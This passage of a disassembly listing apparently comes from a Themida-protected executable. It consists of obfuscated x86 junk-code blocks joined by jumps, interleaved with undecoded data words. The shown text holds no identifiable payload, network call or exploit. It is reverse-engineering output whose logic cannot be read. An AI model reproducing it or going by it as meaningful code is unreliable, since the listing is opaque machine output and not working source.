		dd 4, 8B240C87h, 0BF572424h, 4,	0FF9607E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DC99:				; CODE XREF: Themida_:0054A255j
		pop	ebx
		push	eax
		mov	eax, 260F2038h
		sub	ebp, eax
		pop	eax
		shr	ebp, 6
		sub	ebp, 0BD619976h
		mov	eax, ebp
		pop	ebp
		jmp	loc_5509E9
; ---------------------------------------------------------------------------
		dd 0D10024B1h, 85F1805Ah, 625E9h, 36685300h, 8B7E6274h
		dd 0C481241Ch, 4, 7432EB81h, 0DA897E62h, 0CCE9515Bh, 68000015h
		dd 34B8h, 55243C89h, 0FF8B61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DCED:				; CODE XREF: Themida_:00547FF0j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_548C39
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704C283h, 0E95C2414h, 0FFFF6986h, 405h, 42D00h
		dd 0BAE90000h, 0BFFFFFA3h, 57F3501Fh, 0FF21B850h, 0B7E9C5D8h
		dd 81FFFF91h, 0D5230BC7h, 0E2EF815Ch, 104EF2Ch,	0C6895FF8h
		dd 5EF30158h, 0FFF833E9h, 4C281FFh, 81000000h, 4EAh, 74FF5200h
		dd 8F5A0424h, 0E95C2404h, 0FFFFE0F8h, 0E68956ADh, 4C681h
		dd 0F6E90000h, 81FFFFF2h, 890EEEEDh, 5DEE8900h,	6CE9F089h
		dd 31FFFFD9h, 0AE92404h, 5AFFFFA8h, 124968h, 241C8900h
		dd 0C381E389h, 4, 0FFCEB1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DDA1:				; CODE XREF: Themida_:0054706Dj
		push	ebp
		mov	ebp, esp
		push	2A9Ch
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_54D589
; ---------------------------------------------------------------------------
		dd 8F754BBAh, 0B7C28115h, 42621B36h, 0FFAF52E9h, 0C2B951FFh
		dd 8150574Bh, 11037EF1h, 0C5EEE939h, 202DFFFFh,	5475244h
		dd 39334B79h, 792DE801h, 539334Bh, 47524420h, 19EA685Dh
		dd 34890000h, 5CE95024h, 48000029h, 9DA4D935h, 4E8C1E7h
		dd 0FF9265E9h, 4C481FFh, 9000000h, 0E95D1C6Fh, 0FFFF67EDh
; ---------------------------------------------------------------------------


loc_54DE1C:				; CODE XREF: Themida_:0054865Fj
		mov	ebp, [esp]
		add	esp, 4
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_54A74C
; ---------------------------------------------------------------------------
		db 81h
		dd 0C9F496F7h, 5FFE8903h, 0E9FFC683h, 0FFFFCD8Ah, 0FF2EB80h
		dd 8B66C0B6h, 40682414h, 0E9000020h, 0FFFFD3D9h, 196FCF81h
		dd 0F5E9059Ah, 83FFFFB2h, 0E9D1FFE9h, 1214E9h, 24043300h
		dd 242CD25Ch, 6793E99Ch, 4BAFFFFh, 1000000h, 74E95AD5h
		dd 81FFFF8Dh, 51492BEAh, 60C28151h, 290CC547h, 60EA81DAh
		dd 810CC547h, 51492BC2h, 8EEA8151h, 5B0BDB34h, 0FFEEB9E9h
		dd 4BBFFh, 6C810000h, 44E30424h, 5C0157E0h, 1CE90424h
		dd 81FFFFC3h, 4C4h, 0A221E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DECA:				; CODE XREF: Themida_:00549D01j
		mov	[esp], edi
		pop	edx
		jmp	loc_549FB6
; ---------------------------------------------------------------------------
		db 80h
		dd 0E2C0B3CAh, 0E5EA8007h, 525AD028h, 0B151F2B6h, 0E9D9F61Dh
		dd 0FFFF6BA2h
; ---------------------------------------------------------------------------


loc_54DEEC:				; CODE XREF: Themida_:0054CCFEj
		mov	edi, 10174CAFh
		jmp	loc_547C63
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E9E08924h, 0FFFF75CDh, 14D3C781h, 0BD5514A9h, 0A135D95h
		dd 814DDDF7h, 5C7A9AEDh, 77BE562Ch, 0E9176B4Ch,	1DFEh
; ---------------------------------------------------------------------------


loc_54DF20:				; CODE XREF: Themida_:0054B01Fj
		sub	ebp, 410F17FAh
		add	ebp, 0B90FB1E6h
		jmp	loc_54F514
; ---------------------------------------------------------------------------


loc_54DF31:				; CODE XREF: Themida_:0054D95Bj
		pop	edi
		add	edi, 4
		add	edi, 4
		push	4235h
		jmp	loc_549C55
; ---------------------------------------------------------------------------
		db 68h,	4Ch, 6Ch
		dd 4890000h, 24348B24h,	3C8B5457h, 0E644E924h, 0C301FFFFh
		dd 45E2EB81h, 8F398Fh, 0FF66A0E9h, 5AD101FFh, 5C240C87h
		dd 76256853h, 0F1E90000h, 89FFFFEBh, 15E95DEFh,	81FFFF98h
		dd 4ECh, 24348900h, 0FF7D0EE9h,	0A6EF81FFh, 100EA0Ah, 0A6C781DFh
		dd 5B00EA0Ah, 0FF9D8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DFA5:				; CODE XREF: Themida_:00545F4Ej
		mov	[esp], edx
		mov	eax, [esp]
		jmp	loc_54A8A0
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 0E2892414h, 8CBE5651h,	89554A4Bh
		dd 0C1815EF1h, 5EF2259Fh, 1BD0E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DFD1:				; CODE XREF: Themida_:0054A093j
		mov	esi, esp
		push	edi
		jmp	loc_544CF6
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 52h
		dd 4BAh, 5AD70100h, 0FFC7DDE9h,	6FBD55FFh, 0E94FCB5Ch
		dd 1C7Ch, 9C241CF6h, 0FF660CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DFFD:				; CODE XREF: Themida_:0054FED5j
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jmp	loc_545AB1
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 924248Bh, 51840FC0h,	0FFFFFFFFh, 16681C77h, 89000055h
		dd 6FB9240Ch, 0E94FCB5Ch, 0FFFFB181h, 0D00048B2h, 6993E95Ah
		dd 8B66FFFFh, 0E950240Ch, 0FFFFF65Ch, 4BFh, 25C2E900h
		dd 0C4830000h, 0B60F6604h, 2A686600h, 489661Bh,	0B7D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E066:				; CODE XREF: Themida_:00550188j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	ebx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_545D67
; ---------------------------------------------------------------------------
		db 55h,	5Fh, 5Dh
		dd 335FF801h, 4312404h,	24043324h, 2424D35Ch, 0FF6568E9h
		dd 66DC08FFh, 85F4805Bh, 34FFE530h, 89535824h, 4C381E3h
		dd 83000000h, 28E904C3h, 51000007h, 0C828FDB1h,	0C934E959h
		dd 0E689FFFFh, 4C681h, 0C6830000h, 24348704h, 24048F5Ch
		dd 0E924248Bh, 12E9h, 4B850h, 0C1810000h, 60184F36h, 0E981C101h
		dd 60184F36h, 0FF72ECE9h, 0EF81FFh, 1133825h, 0C3835FFBh
		dd 241C8704h, 0FFD9A6E9h, 81E789FFh, 4C7h, 1AC96800h, 0C890000h
		dd 0AC80E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E126:				; CODE XREF: Themida_:00550ABFj
		shl	eax, 8
		jmp	loc_54BC51
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 0CDE9CEFEh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E137:				; CODE XREF: Themida_:00545C07j
		xchg	ebp, [esp]
		pop	esp
		push	2C45h
		jmp	loc_544CAC
; ---------------------------------------------------------------------------
		db 54h,	5Ah, 81h
		dd 4C2h, 4C28100h, 87000000h, 0C15C2414h, 0C8E908E8h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E15F:				; CODE XREF: Themida_:00548FECj
		mov	cl, 0A3h
		sub	cl, al
		pop	eax
		sub	esp, 4
		jmp	loc_5491AD
; ---------------------------------------------------------------------------
		db 1
		dd 8DE95EF5h, 66FFFF74h, 51240C8Bh, 0C1815954h,	4, 4E981h
		dd 0FF510000h, 59042474h, 5C24048Fh, 0E9243C89h, 0FFFF8127h
		dd 86B2525Ah, 0FF99E6E9h, 8B5D56FFh, 0C4812434h, 4, 56E88950h
		dd 0F189C689h, 8324348Bh, 5D5804C4h, 6203A5F3h,	64D4E938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E1CA:				; CODE XREF: Themida_:0054B62Dj
		mov	esi, 5A8934CFh
		push	ebp
		mov	ebp, 21951156h
		neg	ebp
		add	ebp, 0C9621EFh
		or	ebp, 49985DBDh
		add	ebp, 39BF2806h
		xor	ebp, 6ECBF2C9h
		or	esi, ebp
		pop	ebp
		shr	esi, 2
		sub	esi, 0C970F06h
		shr	esi, 5
		jmp	loc_54C5F2
; ---------------------------------------------------------------------------
		db 68h
		dd 24C8h, 83241489h, 348904ECh,	78F16824h, 0D0E948B6h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E21B:				; CODE XREF: Themida_:0054CDA5j
		shr	eax, 0Bh
		jmp	loc_546AF0
; ---------------------------------------------------------------------------
		db 59h
		dd 8704C283h, 248B2414h, 15C56824h, 1C890000h, 57B05024h
		dd 8055B151h, 0C1FEC1C1h, 887AF180h, 0C70059CFh, 8A19E958h
		dd 3C87FFFFh, 0E0E95C24h, 66FFFF78h, 68240C8Bh,	5EC2h
		dd 0E9240C89h, 0FFFFACADh
; ---------------------------------------------------------------------------


loc_54E268:				; CODE XREF: Themida_:0054783Fj
		mov	ecx, 32D413D8h
		jmp	loc_548FD2
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 979CF2Dh, 50490575h,	505B5B62h, 42474FFh, 24048F58h
		dd 0FF7B21E9h, 243487FFh, 8C21E95Ch, 0E830FFFFh, 81240C8Bh
		dd 4C4h, 80E95300h, 54FFFF6Dh, 0FFEB0DE9h, 69E068FFh, 0C890000h
		dd 4EC8124h, 0E9000000h, 0FFFF6FBFh
; ---------------------------------------------------------------------------


loc_54E2C0:				; CODE XREF: Themida_:0054BE57j
		add	edi, ebx
		pop	ebx
		jmp	loc_548021
; ---------------------------------------------------------------------------
		dd 875BDE29h, 248B2434h, 241C8924h, 8904EC83h, 0BABA2414h
		dd 8966B724h, 0FAA5E9D3h, 0CA30FFFFh, 2EAC059h,	0C02ECA80h
		dd 0CAFE07EAh, 0E929EA80h, 0FFFF96A2h, 68240C8Bh, 6477h
		dd 89243C89h, 4C781E7h,	0E9000000h, 0FFFFBF85h,	81240C8Bh
		dd 4C4h, 66662C00h, 8DB65251h, 6642CE80h, 2454F652h, 525A6601h
		dd 12454F6h, 53C6FE5Ah,	0FFE03CE9h, 0E9CE28FFh,	0FFFF88F1h
		dd 73B6C681h, 45E90415h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E34F:				; CODE XREF: Themida_:0054EA7Fj
		jz	loc_5474E7
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		push	26846C8Fh
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		dec	ecx
		neg	ecx
		and	ecx, 5C9F7533h
		xor	ecx, 51562E8Bh
		push	edi
		mov	edi, ecx
		mov	ebp, edi
		jmp	loc_54793B
; ---------------------------------------------------------------------------


loc_54E395:				; CODE XREF: Themida_:00546699j
		add	ebx, 335338AFh
		mov	edi, [esp]
		add	esp, 4
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		push	329Ch
		mov	[esp], esi
		push	ecx
		jmp	loc_54F8FE
; ---------------------------------------------------------------------------
		db 68h,	46h, 2Ah
		dd 1C890000h, 6EA2E924h, 7EBEFFFFh, 31616172h, 0E68159CEh
		dd 44BF2C91h, 2E16C681h, 0EEC17CBDh, 50BA5203h,	29182D0Ah
		dd 0DDE2E9D6h, 0F821FFFFh, 52243C8Bh, 0FFFD4CE9h, 242C8BFFh
		dd 0E904C483h, 0D9Fh, 66E1F65Ch, 0E9CCB60Fh, 0FFFFC23Dh
; ---------------------------------------------------------------------------


loc_54E410:				; CODE XREF: Themida_:0054F5E3j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		push	small 3ECBh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54B18D
; ---------------------------------------------------------------------------
		dd 6887048Dh, 488Ah, 0E9240489h, 0FFFFCC6Ch
; ---------------------------------------------------------------------------


loc_54E440:				; CODE XREF: Themida_:0054520Ej
		shl	ebx, 6
		jmp	loc_54BE51
; ---------------------------------------------------------------------------


loc_54E448:				; CODE XREF: Themida_:00548D6Dj
		mov	[esp], ebp
		push	12C363CEh
		pop	ebp
		shl	ebp, 2
		neg	ebp
		push	ebx
		mov	ebx, 1
		jmp	loc_54945B
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0BB530000h, 2A19051Ch, 0FF76A6E9h, 4BB53FFh
		dd 29000000h, 241C8BD9h, 8704C483h, 0F4E9240Ch,	66FFFFE9h
		dd 6824048Bh, 3E9Ah, 89241C89h,	7CC3E9E3h, 0E9ACFFFFh
		dd 266Ah, 8704C683h, 585C2434h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54C0AA
; ---------------------------------------------------------------------------
		dd 42E932FFh, 89FFFF61h, 5F54243Ch, 2FAE956h, 0E95D0000h
		dd 0FFFFC510h, 88BE6656h, 0BF6662h, 0F7296657h,	0FA29665Eh
		dd 243C8B66h, 2C481h, 5660000h,	2966078Ch, 665566D0h, 66078CBDh
		dd 5D66E829h, 0AE08E95Ah, 5456FFFFh, 0BAD3E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E512:				; CODE XREF: Themida_:0054BFC0j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54FE7A
; ---------------------------------------------------------------------------
		dd 9FB2E95Ah, 0AD05FFFFh, 5D376056h, 0FFA383E9h, 0E0ED81FFh
		dd 8326D25Ch, 348904ECh, 0DB73BE24h, 0ED81D372h, 21C063C4h
		dd 0C581F501h, 21C063C4h, 0E95E555Eh, 0FFFFBE9Eh, 0C1369835h
		dd 8FB0E917h, 8B66FFFFh, 89522404h, 0C2ACE9E2h,	34FFFFFFh
		dd 240C8B24h, 4C481h, 0D8680000h, 89000066h, 0E389241Ch
		dd 72E95056h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E58B:				; CODE XREF: Themida_:00549563j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	565Eh
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_54C7F9
; ---------------------------------------------------------------------------


loc_54E5B5:				; CODE XREF: Themida_:00546C30j
		add	esi, 304071C1h
		add	esi, ebp
		push	ebp
		jmp	loc_54D1C3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 55582434h, 699E9h, 4C68100h,	68000000h, 2998h, 0FF243489h
		dd 5E042474h, 5C24048Fh, 4E13C381h, 0C3010D43h,	4E13EB81h
		dd 0EC830D43h, 242C8904h, 0F70EC768h, 0BE95D6Fh, 43FFFFC9h
		dd 0C485F381h, 0D901948Ch, 240C875Bh, 0F24248Bh, 0CF68C8B6h
		dd 0E900007Ah, 0FFFFCBD8h
; ---------------------------------------------------------------------------


loc_54E620:				; CODE XREF: Themida_:005451A3j
		or	edi, 24134E30h
		not	edi
		sub	edi, 64E97417h
		push	ebx
		mov	ebx, 50AC004Ch
		add	edi, ebx
		pop	ebx
		shl	edi, 7
		xor	edi, 553B05E0h
		sub	ebp, 77D2366Bh
		sub	ebp, edi
		add	ebp, 77D2366Bh
		pop	edi
		jmp	loc_546C13
; ---------------------------------------------------------------------------
		dd 5585450h, 4,	0FDAE9h, 8BD02900h, 0C4812414h,	4, 5774D12Dh
		dd 5D8012Ah, 2A5774D1h,	0FFC92FE9h, 4EDC0FFh, 0E90DB450h
		dd 0FFFFBE34h
; ---------------------------------------------------------------------------


loc_54E688:				; CODE XREF: Themida_:0054F246j
		mov	[esp], esi
		push	ebx
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		xor	dword ptr [esp], 367D381Dh
		mov	ebx, [esp]
		jmp	loc_54EAA3
; ---------------------------------------------------------------------------
		db 66h
		dd 5EE9028Fh, 0C0FFFF5Fh, 9A3404E0h, 2C58C288h,	2C7304F7h
		dd 4D00085h, 66732C85h,	2CF7B652h, 4F0000Eh, 0FF5A660Eh
		dd 0E95A2434h, 0FFFF7374h, 8247C01h, 0FFD59EE9h, 43082DFFh
		dd 0E92D48E4h, 0D34E169h, 5E26256h, 0FF8360E9h,	0E95059FFh
		dd 0FFFFA70Ah, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF5F01h
		dd 42474FFh, 8324148Bh,	48F04C4h, 0EEE95C24h, 89FFFF5Eh
		dd 5DBF243Ch, 0B95DF202h, 21BB7EBDh, 815FF931h,	3C683FC1h
		dd 592E2DC9h, 0C8293171h, 71592E05h, 240C8B31h,	81E28952h
		dd 4C2h, 5FF4E900h, 34FFFFFFh, 0EC835824h, 8FFAE904h, 0C281FFFFh
		dd 0A000A042h, 895AD589h, 0C1215DE8h, 8324048Bh, 0E9C104C4h
		dd 0FC00900h, 8E584h, 5D535500h, 5E08950h, 4, 42Dh, 24048700h
		dd 242C895Ch, 0FFA82AE9h, 24248BFFh, 8B2434FFh,	52E92414h
		dd 8BFFFF98h, 0C4812404h, 4, 685A5452h,	2A0Dh, 83243C89h
		dd 348904ECh, 5CF5BE24h, 0F1BF148Fh, 0E9148F5Ch, 0FFFFE76Fh
		dd 4EC81h, 2C890000h, 2BC06824h, 815D4400h, 5F55B0C5h
		dd 4AE9450Fh, 87FFFFFDh, 5C241Ch, 895359E8h, 51E957E3h
		dd 66FFFFF8h, 68240C8Bh, 4992h,	54242C89h, 6AAFE95Dh, 248BFFFFh
		dd 24042824h, 0E347E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E816:				; CODE XREF: Themida_:0054F900j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54CCFA
; ---------------------------------------------------------------------------
		db 87h
		dd 815E2404h, 0BBECFAEEh, 7DCAE9FFh, 0EC83FFFFh, 0AC76E904h
		dd 2C89FFFFh, 5756BD24h, 0EB8911D0h, 81242C8Bh,	4C4h, 8954BE00h
		dd 0E9501F57h, 0FFFFCF50h, 0C381E389h, 4, 0E904EB83h, 0FFFFEF52h
; ---------------------------------------------------------------------------


loc_54E870:				; CODE XREF: Themida_:00549344j
		mov	esi, edx
		pop	edx
		sub	esi, 1
		add	esi, 9582DD89h
		jmp	loc_547EBC
; ---------------------------------------------------------------------------
		dd 0ACB9E9ADh, 0D800FFFFh, 0FF6EDCE9h, 27ECBFFFh, 0C7816BCEh
		dd 9431D818h, 3C8BFA01h, 64E95024h, 0F6FFFFE6h,	73CE80D6h
		dd 8087EE80h, 0F00042F6h, 9CEDE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8BA:				; CODE XREF: Themida_:00545CE2j
		mov	[ecx], bh
		pop	ebx
		jmp	loc_547B83
; ---------------------------------------------------------------------------
		dw 429h
		dd 3EE99C24h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8CB:				; CODE XREF: Themida_:005482BAj
		and	eax, ecx
		mov	ecx, [esp]
		push	927h
		jmp	loc_54A090
; ---------------------------------------------------------------------------
		dw 0F680h
		dd 7D97E9D3h, 0C680FFFFh, 5AF530F5h, 0FF81DBE9h, 405FFh
		dd 0EC830000h, 24348904h, 0FF7B2BE9h, 48B66FFh,	0E6895624h
		dd 8904EC83h, 0CDBD242Ch, 0F77DB81Ch, 8EDC1D5h,	81E68956h
		dd 4C6h, 4EE8100h, 0E9000000h, 0FFFFCCA9h, 295EF189h, 240C8BCEh
		dd 4C481h, 0EF810000h, 713273F1h, 0C781F729h, 713273F1h
		dd 0BEE9C35Eh, 81FFFF5Ch, 4C2h,	56E95100h, 0BFFFFFCAh
		dd 73C1104h, 3C8BFE29h,	0E3895324h, 4C381h, 0C3830000h
		dd 0CEB1E904h, 0EB29FFFFh, 512FC381h, 0E95D230Ch, 1D0Fh
		dd 284AB353h, 0C3005BD8h, 1344E9h, 0E5C15F00h, 0FBCD8108h
		dd 814B544Eh, 0A83FDAF5h, 0BEBF575Dh, 474D576Bh, 0FFC830E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E9A9:				; CODE XREF: Themida_:0054D5FEj
		shl	ebp, 8
		shr	ebp, 5
		neg	ebp
		push	edi
		mov	edi, 48DE0994h
		shl	edi, 3
		or	edi, 14215E04h
		jmp	loc_548741
; ---------------------------------------------------------------------------
		db 30h,	0EAh, 8Bh
		dd 0C481240Ch, 4, 0F6C9B151h, 0D2CE9D1h, 0BD550000h, 726644D7h
		dd 553C381h, 0A6E904C7h, 0BAFFFFA1h, 3B110545h,	0E95AD609h
		dd 0FFFFBA65h, 2081F780h, 6E95BFEh, 83FFFF93h, 3C8904ECh
		dd 4BF24h, 80E90000h, 66FFFFC6h, 53240C8Bh, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 0E589242Ch,	4C581h,	0ED810000h
		dd 4, 0FFA84CE9h, 48B66FFh, 4EC8324h, 54240489h, 9BE95558h
		dd 0BEFFFFC2h, 5966532h, 0E908E6C1h, 0FFFFB2C6h, 67C7815Ah
		dd 5667506Ah, 0C35CB8BEh, 0E9F7215Eh, 1776h, 0BA52h, 29E90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA7B:				; CODE XREF: Themida_:00544854j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_54E34F
; ---------------------------------------------------------------------------
		dd 4BBh, 5BDA0100h, 5C241487h, 85E9C330h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EA97:				; CODE XREF: Themida_:0054F32Aj
		add	ecx, 4
		push	ebx
		jmp	loc_545D95
; ---------------------------------------------------------------------------


loc_54EAA3:				; CODE XREF: Themida_:0054E69Ej
		add	esp, 4
		push	edi
		mov	edi, 367D381Dh
		xor	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	ebx
		pop	esi
		push	ecx
		push	ebp
		jmp	loc_546CFF
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0C38CBFD8h, 0DFE9F329h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54AAF9
; ---------------------------------------------------------------------------
		db 31h,	0EBh, 87h
		dd 0E9DBF7DDh, 706h, 72D8E958h,	6851FFFFh, 4, 0A68BE959h
		dd 0E95DFFFFh, 0FFFF5C18h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 24248B24h, 0FFD3A3E9h, 0EAE94FFFh, 5BFFFFE0h, 0FFAD7DE9h
		dd 0AAE95AFFh, 8BFFFFFAh, 6857240Ch, 7806h, 83242489h
		dd 5F042404h, 1EAF68h, 241C8900h, 2964B850h, 0E9563D4Ah
		dd 0FFFFFF07h, 4C3815Fh, 87000000h, 8F5C241Ch, 0E95C2404h
		dd 4ADh, 0E924048Bh, 0FFFF6A6Dh, 54242C89h, 4C5815Dh, 81000000h
		dd 4EDh, 0BFE95500h, 5EFFFFF0h,	8BC50166h, 0C4832404h
		dd 0C023E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB8A:				; CODE XREF: Themida_:00548963j
		push	esi
		jmp	loc_54A94D
; ---------------------------------------------------------------------------
		dd 0FF56515Eh, 0AE92434h, 31FFFFACh, 0E904247Ch, 1496h
		dd 592434FFh, 4EC81h, 3C890000h, 4EC8124h, 89000000h, 4812424h
		dd 424h, 0C7815F00h, 4,	0E904EF83h, 0FFFFF67Eh
; ---------------------------------------------------------------------------


loc_54EBD0:				; CODE XREF: Themida_:00549575j
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_54F23A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0FFE840E9h, 57E589FFh, 4BFh, 9DC58100h, 1040F50h
		dd 701EE9FDh, 0FF64FFFFh, 0A591E932h, 48BFFFFh,	4C48324h
		dd 0E9E68956h, 0FFFFE783h, 0E9240C8Bh, 1FA0h, 2474FF66h
		dd 3C8B6602h, 2C48124h,	66000000h, 6624048Fh, 665B6968h
		dd 66243C89h, 662414F7h, 3C31665Fh, 3C336624h, 0A6FBE924h
		dd 0E089FFFFh, 405h, 4E88300h, 5C240487h, 54240489h, 5E16E958h
		dd 0E589FFFFh, 0E864E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EC6E:				; CODE XREF: Themida_:0054A6EEj
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5503AB
; ---------------------------------------------------------------------------


loc_54EC96:				; CODE XREF: Themida_:005457D2j
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55056C
; ---------------------------------------------------------------------------


loc_54ECA7:				; CODE XREF: Themida_:0054756Fj
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	[ebx], ecx
		pop	ebx
		pop	edx
		mov	ecx, [esp]
		push	ecx
		push	7224h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_54A997
; ---------------------------------------------------------------------------
		dw 6857h
		dd 3A871BA9h, 0CBF7815Fh, 89361F43h, 0F2815FFAh, 28EB1E9Bh
		dd 0F707E2C1h, 0A9F281DAh, 31B73AFBh, 0FB895AD7h, 81243C8Bh
		dd 4C4h, 0FEEB8100h, 105F934h, 0FEC381C3h, 8805F934h, 2434FF13h
		dd 0C587E95Bh, 0F65CFFFFh, 0B60F66F9h, 0BA6866CCh, 0C89664Ah
		dd 0B60F6624h, 1BE6E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ED3A:				; CODE XREF: Themida_:00549178j
		mov	ebp, 1FED5550h
		add	edx, ebp
		pop	ebp
		neg	edx
		not	edx
		jmp	loc_548526
; ---------------------------------------------------------------------------
		db 0F7h
		dd 79E1E9D2h, 0EC81FFFFh, 4, 0FF6D99E9h, 31FA2DFFh, 0BF053788h
		dd 683717ECh, 3345h, 0E9240489h, 0FFFFB5C1h, 1EF9ED81h
		dd 0CD016A98h, 1EF9C581h, 81596A98h, 4ECh, 242C8900h, 0AAA9E95Bh
		dd 0B951FFFFh, 662A302Eh, 159C889h, 2434FFC2h, 0E44CE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EDA6:				; CODE XREF: Themida_:00545D9Aj
		sub	ecx, ebx
		jmp	loc_54A614
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E3895324h, 4C381h, 10E90000h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EDBF:				; CODE XREF: Themida_:0054B622j
		push	edi
		mov	edi, 3176260Bh
		mov	esi, edi
		pop	edi
		or	edi, esi
		pop	esi
		jmp	loc_5494E0
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF5A63h, 0C8BC830h, 56716824h, 0C8E90000h
		dd 5FFFF64h, 4,	5004C083h, 42474FFh, 8124048Bh,	4C4h, 24048F00h
		dd 0FF6173E9h, 0C8966FFh, 4EC8324h, 0E9240489h,	0FFFFB8DFh
		dd 0E0408405h, 58C23125h, 0E95AD129h, 0FFFF9593h, 8104C483h
		dd 0F52AB7C2h, 0ABC2817Bh, 566F9677h, 9C3CDFBEh, 5EF2296Bh
		dd 0E9E9C229h, 0B6FFFF7Bh, 66F3288Fh, 80C3285Ah, 0C3808FC3h
		dd 47C380DAh, 0FFC0B60Fh, 34FF8734h, 6BC1E924h,	4BBFFFFh
		dd 1000000h, 7A5CE9D8h,	8864FFFFh, 5793E902h, 0EC83FFFFh
		dd 24048904h, 0BB243481h, 58629C50h, 291C6850h,	24890000h
		dd 24048324h, 0BF575804h, 3DFF14A9h, 8105EFC1h,	10075FC7h
		dd 5FF801FEh, 0FF7110E9h, 2DE95AFFh, 33FFFFB8h,	1C31241Ch
		dd 241C3324h, 8924248Bh, 46E92404h, 80FFFF57h, 0B6526AC3h
		dd 0CECE80C0h, 8004E6C0h, 68669ACEh, 8966007Fh,	0FFB7241Ch
		dd 5B66FE00h, 28D5F680h, 0EBC05AF3h, 0E9516605h, 0FFFF6DD5h
		dd 4AB0F66h, 0EE99C24h,	81FFFF57h, 4D005FE9h, 6FB3E951h
		dd 48BFFFFh, 4C48324h, 0F914F381h, 685320C9h, 15925D90h
		dd 7EBC15Bh, 0B6BF381h,	0D90172E8h, 52D9015Bh, 0C32FD0BAh
		dd 8BD12972h, 0C4812414h, 4, 81241C8Bh,	4C4h, 2C18300h
